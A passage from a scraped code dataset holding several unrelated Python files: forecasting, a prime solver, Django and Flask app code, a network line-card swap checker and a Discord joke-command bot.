len(data))\r\n\r\n train = data[columnname].iloc[:node].values\r\n valid = data[columnname].iloc[node:].values\r\n\r\n model = auto_arima(train, start_p=1, start_q=1, max_p=2, max_q=2, m=12, start_P=0, seasonal=True, d=1, D=1,\r\n trace=True, error_action='ignore', suppress_warnings=True)\r\n\r\n model.fit(train)\r\n # 进行预测\r\n forecast = model.predict(n_periods=len(valid))\r\n # forecast = pd.DataFrame(forecast, columns=['Prediction'])\r\n\r\n #\r\n datelist = []\r\n pricelist1 = []\r\n pricelist2 = []\r\n for i in data['日期']:\r\n datelist.append(i)\r\n for i in train:\r\n pricelist1.append(i)\r\n pricelist2.append(i)\r\n for i in valid:\r\n pricelist1.append(i)\r\n for i in forecast:\r\n pricelist2.append(i)\r\n\r\n draw(datelist, pricelist1, pricelist2, savename)\r\n\r\nif __name__ == '__main__':\r\n # 爬取数据\r\n parse()\r\n time.sleep(2)\r\n\r\n # LSTM预测日数据\r\n process(filename='data.csv', columnname='中行汇买价', timsteps=60, node=0.2, precision=2, savename = '日预测图')\r\n\r\n # 将每分钟的数据处理成每小时的数据\r\n filelist = ['DAT_XLSX_GBPUSD_M1_202009.xlsx', 'DAT_XLSX_GBPUSD_M1_202010.xlsx', 'DAT_XLSX_GBPUSD_M1_202011.xlsx']\r\n day_df = pd.DataFrame(columns=['日期', '开盘价', '最高价', '最低价', '收盘价'])\r\n row = 0\r\n for f in filelist:\r\n df = pd.read_excel(f)\r\n for i in range(0, len(df), 60):\r\n alist = []\r\n alist.append(df['时间'].iloc[i])\r\n alist.append(df['开盘价'].iloc[i])\r\n alist.append(df['最高价'].iloc[i])\r\n alist.append(df['最低价'].iloc[i])\r\n alist.append(df['收盘价'].iloc[i])\r\n day_df.loc[row] = alist\r\n row += 1\r\n day_df.index = day_df.日期\r\n day_df.drop('日期', axis=1, inplace=True)\r\n day_df.to_csv('每时数据.csv')\r\n\r\n # LSTM对每小时的数据进行预测\r\n process(filename='每时数据.csv', columnname='开盘价', timsteps=60, node=0.2, precision=5, savename='小时预测图')\r\n\r\n # ARIMA对每日数据进行预测\r\n process(filename='data.csv', columnname='中行汇买价', timsteps=60, node=0.8, precision=2, savename='日预测图ARIMA')","sub_path":"汇率预测/爬取数据并进行预测.py","file_name":"爬取数据并进行预测.py","file_ext":"py","file_size_in_byte":11077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"11361032","text":"'''\nBy listing the first six prime numbers: 2, 3, 5, 7, 11, and 13, we can see that the 6th prime is 13.\n\nWhat is the 10 001st prime number?\n'''\nimport os\n\ndef isPrime(numCheck):\n\tif (numCheck == 2):\n\t\treturn True\n\tif (numCheck % 2 == 0):\n\t\treturn False\n\telse:\n\t\ti = 3\n\t\twhile i < int(numCheck/2) + 1:\n\t\t\tif (i % 2 != 0):\n\t\t\t\tif(numCheck % i == 0):\n\t\t\t\t\treturn False\n\n\t\t\ti += 1\n\treturn True\n\nprimes = []\nrunning = True\nprevPrint = 0\nj = 2\n\ntargetPrime = 10001\n\nwhile len(primes) <= targetPrime:\n\tif (isPrime(j)):\n\t\tprimes.append(j)\n\n\t\tif (int(len(primes)/targetPrime*100) > prevPrint):\n\t\t\tos.system('cls')\n\t\t\tprevPrint = int(len(primes)/targetPrime*100)\n\t\t\tprint(str(prevPrint) + \"%\")\n\tj += 1\nprint(\"Completed\")\nprint(\"Primes: \" + str(primes))\nprint()\nprint(\"The prime you want:\")\nprint(str(primes[targetPrime-1]) + \", \" + str(targetPrime))\ninput()\n\n","sub_path":"Euler7.py","file_name":"Euler7.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"79517533","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\nimport pymongo\r\n\r\nhost = '127.0.0.1'\r\nport = 27017\r\nMONGO_DB = \"Gw\"\r\nclass Db(object):\r\n client = ''\r\n\r\n @staticmethod\r\n def getClient():\r\n if Db.client == '':\r\n Db.client = pymongo.MongoClient(host = host, port = port)\r\n return Db.client\r\n\r\n @staticmethod\r\n def getColl(coll):\r\n client = Db.getClient()\r\n return client[MONGO_DB][coll]\r\n\r\n","sub_path":"house/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"619003175","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('points', '0005_point_comment'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Point_photo',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=100, verbose_name='name')),\n ('description', models.CharField(max_length=100, null=True, verbose_name='description', blank=True)),\n ('img', models.ImageField(upload_to=b'photo/', verbose_name='img')),\n ('point', models.ForeignKey(to='points.Point')),\n ],\n options={\n 'verbose_name': 'Point photo',\n 'verbose_name_plural': 'Point photo',\n },\n bases=(models.Model,),\n ),\n ]\n","sub_path":"points/migrations/0006_point_photo.py","file_name":"0006_point_photo.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"67494495","text":"# -*- coding:utf-8 -*-\nfrom mako import runtime, filters, cache\nUNDEFINED = runtime.UNDEFINED\nSTOP_RENDERING = runtime.STOP_RENDERING\n__M_dict_builtin = dict\n__M_locals_builtin = locals\n_magic_number = 10\n_modified_time = 1499150736.740636\n_enable_loop = True\n_template_filename = '/home/duytung/PycharmProjects/test/test/templates/pages/index.mako'\n_template_uri = '/pages/index.mako'\n_source_encoding = 'utf-8'\nfrom markupsafe import escape\n_exports = []\n\n\ndef render_body(context,**pageargs):\n __M_caller = context.caller_stack._push_frame()\n try:\n __M_locals = __M_dict_builtin(pageargs=pageargs)\n h = context.get('h', UNDEFINED)\n __M_writer = context.writer()\n __M_writer(u'

Enter Your E-mail Address

\\n\\n')\n __M_writer(escape(h.form(h.url_for(controller='pages', action='index'), method='get')))\n __M_writer(u'\\nEmail Address: ')\n __M_writer(escape(h.text('email')))\n __M_writer(u'\\n ')\n __M_writer(escape(h.submit('submit', 'Submit')))\n __M_writer(u'\\n')\n __M_writer(escape(h.end_form()))\n return ''\n finally:\n context.caller_stack._pop_frame()\n\n\n\"\"\"\n__M_BEGIN_METADATA\n{\"source_encoding\": \"utf-8\", \"line_map\": {\"36\": 30, \"17\": 0, \"23\": 1, \"24\": 3, \"25\": 3, \"26\": 4, \"27\": 4, \"28\": 5, \"29\": 5, \"30\": 6}, \"uri\": \"/pages/index.mako\", \"filename\": \"/home/duytung/PycharmProjects/test/test/templates/pages/index.mako\"}\n__M_END_METADATA\n\"\"\"\n","sub_path":"data/templates/pages/index.html.py","file_name":"index.html.py","file_ext":"py","file_size_in_byte":1463,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"564588970","text":"from applications.api.v1.serializers import ApplicationBatchSerializer\nfrom applications.enums import ApplicationBatchStatus\nfrom applications.models import ApplicationBatch\nfrom applications.services.ahjo_integration import export_application_batch\nfrom applications.services.talpa_integration import TalpaService\nfrom common.authentications import RobotBasicAuthentication\nfrom django.db import transaction\nfrom django.http import HttpResponse\nfrom django.utils import timezone\nfrom django.utils.text import format_lazy\nfrom django.utils.translation import gettext_lazy as _\nfrom django_filters import rest_framework as filters\nfrom django_filters.widgets import CSVWidget\nfrom drf_spectacular.utils import extend_schema\nfrom rest_framework import filters as drf_filters, status, viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import AllowAny, IsAdminUser\nfrom rest_framework.response import Response\n\n\nclass ApplicationBatchFilter(filters.FilterSet):\n\n status = filters.MultipleChoiceFilter(\n field_name=\"status\",\n widget=CSVWidget,\n choices=ApplicationBatchStatus.choices,\n help_text=(\n \"Filter by application batch status.\"\n \" Multiple statuses may be specified as a comma-separated list, such as 'status=draft,decided'\",\n ),\n )\n\n class Meta:\n model = ApplicationBatch\n fields = {\n \"proposal_for_decision\": [\"exact\"],\n }\n\n\n@extend_schema(\n description=\"API for create/read/update/delete/export operations on Helsinki benefit application batches\"\n)\nclass ApplicationBatchViewSet(viewsets.ModelViewSet):\n queryset = ApplicationBatch.objects.all()\n serializer_class = ApplicationBatchSerializer\n permission_classes = [IsAdminUser]\n filter_backends = [\n drf_filters.OrderingFilter,\n filters.DjangoFilterBackend,\n drf_filters.SearchFilter,\n ]\n filterset_class = ApplicationBatchFilter\n search_fields = [\n \"applications__company_name\",\n \"applications__company_contact_person_email\",\n ]\n\n @action(methods=(\"GET\",), detail=True, url_path=\"export\")\n def export_batch(self, request, *args, **kwargs):\n \"\"\"\n Export ApplicationBatch to pdf format\n \"\"\"\n batch = self.get_object()\n if batch.status != ApplicationBatchStatus.AWAITING_AHJO_DECISION:\n if batch.status == ApplicationBatchStatus.DRAFT:\n batch.status = ApplicationBatchStatus.AWAITING_AHJO_DECISION\n batch.save()\n else:\n return Response(\n {\n \"detail\": _(\n \"Application status cannot be exported because of invalid status\"\n )\n },\n status=status.HTTP_400_BAD_REQUEST,\n )\n\n if batch.applications.count() <= 0:\n return Response(\n {\"detail\": _(\"Cannot export empty batch\")},\n status=status.HTTP_400_BAD_REQUEST,\n )\n\n zip_file = export_application_batch(batch)\n file_name = format_lazy(\n _(\"Application batch {date}\"),\n date=timezone.now().strftime(\"%d-%m-%Y %H.%M.%S\"),\n )\n response = HttpResponse(zip_file, content_type=\"application/x-zip-compressed\")\n response[\"Content-Disposition\"] = \"attachment; filename={file_name}.zip\".format(\n file_name=file_name\n )\n return response\n\n @action(\n methods=(\"GET\",),\n detail=False,\n url_path=\"talpa_export\",\n authentication_classes=[RobotBasicAuthentication],\n permission_classes=[AllowAny],\n )\n @transaction.atomic\n def talpa_export_batch(self, request, *args, **kwargs):\n \"\"\"\n Export ApplicationBatch to CSV format for Talpa Robot\n \"\"\"\n approved_batches = ApplicationBatch.objects.filter(\n status=ApplicationBatchStatus.DECIDED_ACCEPTED\n )\n if approved_batches.count() == 0:\n return Response(\n {\n \"detail\": _(\n \"There is no available application to export, please try again later\"\n )\n },\n status=status.HTTP_400_BAD_REQUEST,\n )\n talpa_service = TalpaService(approved_batches)\n csv_file = talpa_service.get_talpa_csv_string()\n file_name = format_lazy(\n _(\"TALPA export {date}\"),\n date=timezone.now().strftime(\"%d-%m-%Y %H.%M.%S\"),\n )\n response = HttpResponse(csv_file, content_type=\"text/csv\")\n response[\"Content-Disposition\"] = \"attachment; filename={file_name}.csv\".format(\n file_name=file_name\n )\n approved_batches.all().update(status=ApplicationBatchStatus.SENT_TO_TALPA)\n return response\n","sub_path":"backend/benefit/applications/api/v1/application_batch_views.py","file_name":"application_batch_views.py","file_ext":"py","file_size_in_byte":4897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"422677795","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n################################################################################\n#\n# Der Flask-Server kann mit folgenden Optionen gestratet\n# werden. \n# \n# Usage: python server.py [-p n] [--options 'key1=value1,...'] [-d] [-o]\n#\n# -p, --port n n ist Port des Servers, default ist 8000\n# --options kv Weitere Flask-Server-Optionen als kommaseparierte kv-Paare\n# -d, --debug Schaltet debug mode ein\n# -o, --open Öffnet den Server für LAN und ggf. WAN\n#\n################################################################################\nfrom werkzeug.contrib.fixers import ProxyFix\nfrom flask import request\nfrom app import app\napp.wsgi_app = ProxyFix(app.wsgi_app)\n\nif __name__=='__main__':\n '''\n Appserver starten\n '''\n # configure Flask logging\n from logging import FileHandler, DEBUG, ERROR\n logger = FileHandler('error.log')\n app.logger.setLevel(ERROR)\n app.logger.addHandler(logger)\n \n # allow for server options\n import argparse\n \n server = argparse.ArgumentParser(description=\"Startet den Appserver\")\n server.add_argument(\"-p\", \"--port\", help=\"Port des Servers\", type=int, default=8000)\n server.add_argument(\"--options\", help=\"Weitere Flask-Server-Optionen als kommaseparierte key=value-Paare\", type=str, default=None)\n server.add_argument(\"-d\", \"--debug\", help=\"Schaltet debug mode ein\", action='store_true')\n server.add_argument(\"-o\", \"--open\", help=\"Öffnet den Server für LAN und ggf. WAN\", action='store_true')\n opts = server.parse_args()\n server_opts = dict(debug=opts.debug,port=opts.port)\n port = opts.port\n if opts.debug:\n app.logger.setLevel( DEBUG )\n if opts.open: \n server_opts.update(host='0.0.0.0')\n if opts.options:\n key_value_pattern = re.compile('[a-zA-Z0-9_]*=.*')\n kvs=opts.options.split(',')\n for kv in kvs:\n if key_value_pattern.match( kv ):\n key, value = kv.split('=')\n if value.isdigit(): value = int( value )\n if value=='True': value = True \n if value=='False': value = False \n server_opts.update({key:value})\n else:\n app.logger.error('%s will be ignored, because it is not a key value pair!',kv)\n\n # log Flask events\n# from time import asctime\n from time import time, asctime\n app.logger.debug(u\"Flask server started \" + asctime())\n @app.after_request\n def write_access_log(response):\n app.logger.debug(u\"%s %s -> %s\" % (time(), request.path, response.status_code))\n# app.logger.debug(u\"%s %s -> %s\" % (asctime(), request.path, response.status_code))\n return response\n\n app.run( **server_opts )\n\n \n","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"244459623","text":"#!/apollo/sbin/envroot \"$ENVROOT/python3.6/bin/python3.6\"\n\n\"\"\" Short script that will verify if a 1Gb LC can be swapped for a 10Gb LC. Below is output of script:\n network-config-builder-62002.pdx2% /apollo/env/DXDeploymentTools/bin/card_swap_check.py -d \"hkg1-vc-car-hkg-r1,hkg1-vc-car-hkg-r2\" -c 5\n ####################################################################################\n ###### Script to verify if VC devices have 1Gb LC(s) eligible to be swapped ########\n ####################################################################################\n\n Time script started: 2020-04-23 17:26\n\n\n Device(s) that will be checked:\n HKG1-VC-CAR-HKG-R1\n HKG1-VC-CAR-HKG-R2\n\n\n Port/Hardware Information being gathered for hkg1-vc-car-hkg-r1\n No empty 1Gb FPC's found.. verifying if ports can be migrated..\n FPC slot #'s below have 5 or less ports and are eligible for migration to another FPC (FPC with least # of ports in use will be migrated):\n FPC#: 4 Number of Ports in Use: 1\n FPC#: 8 Number of Ports in Use: 1\n FPC#: 9 Number of Ports in Use: 1\n FPC slot #'s below have 5 or more ports available and can accept migrated ports from another FPC:\n FPC#: 3 Available Ports: 21\n FPC#: 4 Available Ports: 39\n FPC#: 9 Available Ports: 39\n\n Checking Hardware Information for hkg1-vc-car-hkg-r1\n Hardware Model: MX960\n SCB type: Enhanced MX SCB 2\n MX960 model discovered - due to power contraints on this model additional verification will be performed..\n MPC4E 3D 32XGE Linecard can be inserted into FPC 8 (No power constraints found)\n\n Port/Hardware Information being gathered for hkg1-vc-car-hkg-r2\n No empty 1Gb FPC's found.. verifying if ports can be migrated..\n FPC slot #'s below have 5 or less ports and are eligible for migration to another FPC (FPC with least # of ports in use will be migrated):\n FPC#: 4 Number of Ports in Use: 1\n FPC#: 8 Number of Ports in Use: 1\n FPC#: 9 Number of Ports in Use: 1\n FPC slot #'s below have 5 or more ports available and can accept migrated ports from another FPC:\n FPC#: 3 Available Ports: 20\n FPC#: 8 Available Ports: 39\n FPC#: 9 Available Ports: 39\n\n Checking Hardware Information for hkg1-vc-car-hkg-r2\n Hardware Model: MX960\n SCB type: Enhanced MX SCB 2\n MX960 model discovered - due to power contraints on this model additional verification will be performed..\n MPC4E 3D 32XGE Linecard can be inserted into FPC 4 (No power constraints found)\n\n Script Time Stats:\n The script took 0 minutes and 16 seconds to run.\n\"\"\"\n\nimport argparse\nimport collections\nimport datetime\nimport itertools\nimport operator\nimport textwrap\nimport time\n\nfrom dxd_tools_dev.datastore import ddb\n\n# Status dictionary that will verify issues\nSTATUS = {\n \"DX Scaling Constraint\": True,\n}\n\n\nclass bcolors:\n HEADER = \"\\033[95m\"\n OKBLUE = \"\\033[94m\"\n OKGREEN = \"\\033[92m\"\n WARNING = \"\\033[93m\"\n FAIL = \"\\033[91m\"\n ENDC = \"\\033[0m\"\n BOLD = \"\\033[1m\"\n UNDERLINE = \"\\033[4m\"\n HIGHGREEN = \"\\033[1;42m\"\n\n\ndef intro_message(message):\n print(\n bcolors.HEADER\n + \"####################################################################################\"\n + bcolors.ENDC\n )\n print(\n bcolors.HEADER\n + \"###### Script to verify if VC devices have 1Gb LC(s) eligible to be swapped ########\"\n + bcolors.ENDC\n )\n print(\n bcolors.HEADER\n + \"####################################################################################\"\n + bcolors.ENDC\n )\n print(\"\")\n print(\n bcolors.BOLD\n + \"Time script started: {}\".format(\n datetime.datetime.now().strftime(\"%Y-%m-%d %H:%M\")\n )\n + bcolors.ENDC\n )\n print(\"\")\n print(\"\")\n print(bcolors.WARNING + \"Device(s) that will be checked:\" + bcolors.ENDC)\n for v in message.split(\",\"):\n print(\"\\t{}\".format(str(v.strip().upper())))\n # print(\"\\n\".join(str(v.strip().upper()) for v in message.split(\",\")))\n print(\"\")\n\n\ndef parse_args() -> str:\n p = argparse.ArgumentParser(\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=textwrap.dedent(\n \"\"\"\\\n Script verifies if 1Gb LC can be swapped for 10Gb LC on a VC device.\n Usage:\n * python3 card_swap-2.py -d \"icn50-vc-car-r1, icn50-vc-car-r2\" -c 5\n \"\"\"\n ),\n )\n p.add_argument(\n \"-d\",\n \"--devices\",\n help=\"comma separated list of devices\",\n type=str,\n default=\"lax3-vc-car-r1, lax3-vc-car-r2\",\n )\n p.add_argument(\n \"-c\",\n \"--count\",\n help=\"Maximum ports that could be migrated to enable card swap\",\n type=int,\n default=5,\n )\n p.add_argument(\n \"-o\",\n \"--override\",\n action=\"store_true\",\n help=\"override DX customer scaling constraints\",\n # default=False,\n )\n return p.parse_args()\n\n\ndef tpm_message(devices: list) -> str:\n d = devices.split(\",\")[0]\n locator = d.split(\"-\")[0]\n print()\n print()\n print(bcolors.HEADER + \"\\t ** PLEASE READ MESSAGE BELOW **\" + bcolors.ENDC)\n print(\n bcolors.WARNING\n + \"If you haven't already.. please consult with your TPM about fiber infrastructure availability in {}\".format(\n locator\n )\n + bcolors.ENDC\n )\n print(\n bcolors.WARNING\n + \"If fiber infrastructure is available in {} and can accommodate a line-card addition -- please pursue that route\".format(\n locator\n )\n + bcolors.ENDC\n )\n print(\n bcolors.WARNING\n + \"instead of swapping a 1Gb line-card for a 10Gb line-card\"\n + bcolors.ENDC\n )\n\n\ndef status_check(s: dict, devices: str):\n for r, b in s.items():\n if \"DX Scaling Constraint\" in r:\n if not b:\n print()\n print(\n bcolors.FAIL\n + \"Line-card swap may violate DX scaling restraints -- More information: https://w.amazon.com/bin/view/Interconnect/ScalingConstraints/#BGP_Metrics\"\n + bcolors.ENDC\n )\n print(\n bcolors.BOLD\n + 'To override this constraint please re-run script and add \"--override\" to the cli options'\n + bcolors.ENDC\n )\n print(\n f'\\t{bcolors.WARNING}Example: {bcolors.ENDC}card_swap_check.py -d \"{devices}\" --override'\n )\n\n\ndef hardware_info(d: str, avail_fpc: str, hware: dict):\n print()\n print(\n bcolors.BOLD + \"\\tChecking Hardware Information for {}\".format(d) + bcolors.ENDC\n )\n sixteen_ten = False\n thirtytwo_ten_over = False\n thirtytwo_ten_nover = False\n fpc = \", \".join(str(x) for x in avail_fpc)\n # hware = nsm.get_device_hardware_from_nsm(d)\n if hware:\n print(\"\\t\\tHardware Model: {}\".format(\"\".join(hware[\"Chassis\"])))\n scb = hware[\"SCB\"]\n scbinfo = \",\".join(set([y for _, y in scb.items()]))\n if any(x == \"MX SCB\" for x in scbinfo.splitlines()):\n print(\"\\t\\tSCB type: {}\".format(scbinfo))\n sixteen_ten = True\n elif any(x == \"Enhanced MX SCB\" for x in scbinfo.splitlines()):\n print(\"\\t\\tSCB type: {}\".format(scbinfo))\n thirtytwo_ten_over = True\n elif any(x == \"Enhanced MX SCB 2\" for x in scbinfo.splitlines()):\n print(\"\\t\\tSCB type: {}\".format(scbinfo))\n thirtytwo_ten_nover = True\n\n if sixteen_ten:\n print(\n bcolors.WARNING\n + \"\\t\\tDue to SCB contraints you can only insert a MPC 3D 16x 10GE into FPC {}\".format(\n fpc\n )\n + bcolors.ENDC\n )\n elif thirtytwo_ten_over or thirtytwo_ten_nover:\n if \"MX960\" in \"\".join(hware[\"Chassis\"]):\n threshold = 0\n print(\n bcolors.WARNING\n + \"\\t\\tMX960 model discovered - due to power contraints on this model additional verification will be performed..\"\n + bcolors.ENDC\n )\n time.sleep(2.0)\n fpc_info = {int(v.split()[1]): x for v, x in hware[\"FPC\"].items()}\n for f, c in fpc_info.items():\n if f in range(0, 6) and \"32XGE\" in c:\n threshold += 1\n if threshold > 4:\n if int(fpc) < 6:\n print(\n \"\\t\\tDue to power constrains you can only insert a MPC 3D 16x 10GE into FPC {}\".format(\n fpc\n )\n )\n else:\n if thirtytwo_ten_over:\n print(\n bcolors.WARNING\n + \"\\t\\tMPC4E 3D 32XGE Linecard can be swapped into FPC {} (No power constraints found) - Due to SCB model line-rate throughput will be limited\".format(\n fpc\n )\n + bcolors.ENDC\n )\n elif thirtytwo_ten_nover:\n print(\n bcolors.OKGREEN\n + \"\\t\\tMPC4E 3D 32XGE Linecard can be swapped into FPC {} (No power constraints found)\".format(\n fpc\n )\n + bcolors.ENDC\n )\n\n\ndef car_cap_verify(hostname: str, p: dict, ddb_hware: dict) -> bool:\n \"\"\" Verify potential line-card addition won't violate DX scaling restraints\n https://w.amazon.com/bin/view/Interconnect/ScalingConstraints/#BGP_Metrics\n \"\"\"\n if len(p) >= 1:\n threshold = 145\n\n ints = {\n px[\"Name\"]: (px[\"Description\"], px[\"Status\"])\n for y, x in p.items()\n for px in x\n if \"customer\" in px[\"Description\"].lower()\n }\n customer_count = len(ints)\n if customer_count > threshold:\n print(\n bcolors.WARNING\n + \"Linecard swap on {} may violate DX Scaling Restraints\".format(\n hostname\n )\n + bcolors.ENDC\n )\n print(\n f\"\\tCurrent Customer Count: {bcolors.FAIL}{customer_count}{bcolors.ENDC}\"\n )\n STATUS[\"DX Scaling Constraint\"] = False\n return False\n else:\n return True\n else:\n print(\n bcolors.WARNING\n + \"No 1Gb interfaces found on {}({})\".format(\n hostname, \"\".join(ddb_hware[\"Chassis\"])\n )\n + bcolors.ENDC\n )\n return False\n\n\ndef interface_info(device: str, min_ports=5, override=False):\n print()\n print(\n bcolors.UNDERLINE\n + \"Port/Hardware/Customer-Count Information being gathered for {}:\".format(\n device\n )\n + bcolors.ENDC\n )\n migration = True\n migrate_fpcs = []\n if device:\n try:\n complete_card = False\n table = ddb.get_ddb_table(\"dx_devices_table\")\n ddb_hware = ddb.get_device_from_table(table, \"Name\", device)[\"Hardware\"]\n p = {device: ddb.get_device_from_table(table, \"Name\", device)[\"Interfaces\"]}\n ints_collected = collections.defaultdict(list)\n ints_used = {}\n violate_check = True if override else car_cap_verify(device, p, ddb_hware)\n ints = {\n px[\"Name\"]: (px[\"Description\"], px[\"Status\"])\n for y, x in p.items()\n for px in x\n if \"None\" and \"ge-\" in px[\"Name\"]\n }\n\n if violate_check:\n for i, d in ints.items():\n ints_collected[i.split(\"-\")[1].split(\"/\")[0]].append(d)\n\n if ints_collected:\n avail_slots = [\n i\n for i, d in ints_collected.items()\n if all(\"None\" in dd[0] and \"down\" in dd[1] for dd in d)\n ]\n if avail_slots:\n complete_card = True\n print(\n bcolors.OKGREEN\n + \"\\tFPC slot #'s below have no exisiting customer connections and are eligible for card-swap (No customer migrations should be required):\"\n + bcolors.ENDC\n )\n for v in sorted(avail_slots):\n print(\"\\t\\t{}\".format(v))\n # print(\"\\n\".join(str(v) for v in sorted(avail_slots)))\n elif not complete_card:\n print(\n bcolors.WARNING\n + \"\\tNo empty 1Gb FPC's found.. verifying if ports can be migrated..\"\n + bcolors.ENDC\n )\n time.sleep(2.0)\n for fpc, info in ints_collected.items():\n tally = len([i for i in info])\n count = len(\n [i for i in info if \"None\" in i[0] and \"down\" in i[1]]\n )\n \"\"\" ints_used dict output:\n {'9': (5, 40, 35), '8': (6, 40, 34), '3': (17, 40, 23), '4': (10, 40, 30)}\n \"\"\"\n ints_used[fpc] = (tally - count, tally, count)\n\n if ints_used:\n elig_swap_fpc = {\n f: p[0]\n for f, p in ints_used.items()\n if p[0] <= min_ports\n }\n if elig_swap_fpc:\n if len(elig_swap_fpc) > 1:\n print()\n print(\n bcolors.OKGREEN\n + \"\\tFPC slot #'s below have {} or less 1Gb ports and are eligible for migration to another FPC (FPC with least # of ports in use will be migrated):\".format(\n min_ports\n )\n + bcolors.ENDC\n )\n else:\n print()\n print(\n bcolors.OKGREEN\n + \"\\tFPC slot # below has {} or less 1Gb ports and are eligible for migration to another FPC:\".format(\n min_ports\n )\n + bcolors.ENDC\n )\n for xx, yy in sorted(elig_swap_fpc.items()):\n print(\n \"\\t\\tFPC#: {} Number of Ports in Use: {}\".format(\n xx, yy\n )\n )\n elig_srt = dict(\n sorted(\n elig_swap_fpc.items(),\n key=operator.itemgetter(1),\n )\n )\n for f in dict(itertools.islice(elig_srt.items(), 1)):\n migrate_fpcs.append(f)\n del ints_used[f]\n\n elig_migr_fpc = {\n f: p[2]\n for f, p in ints_used.items()\n if p[2] >= min_ports\n }\n if elig_migr_fpc:\n print()\n print(\n bcolors.OKGREEN\n + \"\\tFPC slot #'s below have {} or more 1Gb ports available and can accept migrated ports from another FPC:\".format(\n min_ports\n )\n + bcolors.ENDC\n )\n for xx, yy in sorted(elig_migr_fpc.items()):\n print(\n \"\\t\\tFPC#: {} Available Ports: {}\".format(\n xx, yy\n )\n )\n # print(\"\\n\".join(str(v) for v in sorted(elig_migr_fpc)))\n else:\n migration = False\n print(\n bcolors.FAIL\n + \"\\t[!!] NO FPC slot #'s have {} or more 1Gb ports available and cannot accept migrated ports from another FPC\".format(\n min_ports\n )\n + bcolors.ENDC\n )\n else:\n migration = False\n print(\n bcolors.FAIL\n + \"\\t[!!] NO FPC slot #'s have {} or less 1Gb ports and cannot be migrated to another FPC\".format(\n min_ports\n )\n + bcolors.ENDC\n )\n else:\n migration = False\n print(\n bcolors.WARNING\n + \"\\tNo 1Gb linecards found that are candidates to be swapped\"\n + bcolors.ENDC\n )\n if migration and migrate_fpcs:\n hardware_info(device, migrate_fpcs, ddb_hware)\n except Exception as e:\n print(bcolors.BOLD + \"{}\".format(device) + bcolors.ENDC)\n print(bcolors.FAIL + \"failed: {}\".format(e) + bcolors.ENDC)\n else:\n print(bcolors.FAIL + \"No device found\" + bcolors.ENDC)\n\n\ndef main():\n now_time = datetime.datetime.now()\n args = parse_args()\n devices = args.devices\n if args:\n intro_message(devices)\n _ = [\n interface_info(d.strip(), min_ports=args.count, override=args.override)\n for d in devices.split(\",\")\n ]\n status_check(STATUS, devices)\n tpm_message(devices)\n finish_time = datetime.datetime.now()\n duration = finish_time - now_time\n minutes, seconds = divmod(duration.seconds, 60)\n print(\"\")\n print(bcolors.UNDERLINE + \"Script Time Stats:\" + bcolors.ENDC)\n print(\n bcolors.WARNING\n + \"The script took {} minutes and {} seconds to run.\".format(minutes, seconds)\n + bcolors.ENDC\n )\n\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"aws/card_swap_check.py","file_name":"card_swap_check.py","file_ext":"py","file_size_in_byte":19867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"90304253","text":"import discord\nimport random\nimport requests\nfrom discord.ext import commands\n\nclass FunCommands(commands.Cog):\n def __init__(self, client):\n self.client = client\n \n @commands.command()\n async def fun(self, ctx):\n embed=discord.Embed(title=\":partying_face: Fun Commands\", description='''\n `dadjoke` `yomama` `penis` `dictionary`''', color=0x850000)\n embed.set_footer(text=\"use prefix ? before each command.\")\n await ctx.send(embed=embed) \n \n @commands.command()\n async def dadjoke(self, ctx):\n headers = {'Accept': 'application/json'}\n r = requests.get('https://icanhazdadjoke.com/', headers=headers)\n joke = r.json()\n await ctx.send(joke['joke'])\n \n @commands.command()\n async def penis(self, ctx, member: discord.Member = None, *, membertwo: discord.Member = None):\n penissize = ''\n for i in range(random.randint(1,10)):\n penissize += '='\n \n penissizetwo = ''\n for i in range(random.randint(1,10)):\n penissizetwo += '='\n \n if member and membertwo:\n embed=discord.Embed(title='the peepee size battle royale', description=f\"\"\"{member.name}'s penis\\n8{penissize}D\\n \n {membertwo.name}'s penis\\n8{penissizetwo}D\"\"\", color=0x850000)\n elif member and not membertwo:\n embed=discord.Embed(title='peepee size', description=f\"{member.name}'s penis loool\\n8{penissize}D\", color=0x850000)\n else:\n embed=discord.Embed(title='peepee size', description=f\"{ctx.author.name}'s penis\\n8{penissize}D\", color=0x850000)\n await ctx.send(embed=embed)\n \n @penis.error\n async def penis_error(self, ctx, error):\n if isinstance(error, commands.MemberNotFound):\n penissize = ''\n for i in range(random.randint(1,10)):\n penissize += '='\n \n embed=discord.Embed(title='peepee size', description=f\"{ctx.author.name}'s penis\\n8{penissize}D\", color=0x850000)\n await ctx.send(embed=embed)\n \n @commands.command()\n async def yomama(self, ctx, member: discord.Member):\n response = requests.get('https://api.yomomma.info/')\n joke = response.json()\n j = joke['joke']\n \n if member:\n await ctx.send(f'{member.name}, {j}')\n else:\n embed=discord.Embed(description='Argument missing. `?yomama @member`', color=0x850000)\n await ctx.send(embed=embed)\n \n @yomama.error\n async def yomama_error(self, ctx, error):\n if isinstance(error, commands.MemberNotFound):\n embed=discord.Embed(description='Member not found. `?yomama @member', color=0x850000)\n await ctx.send(embed=embed)\n \n 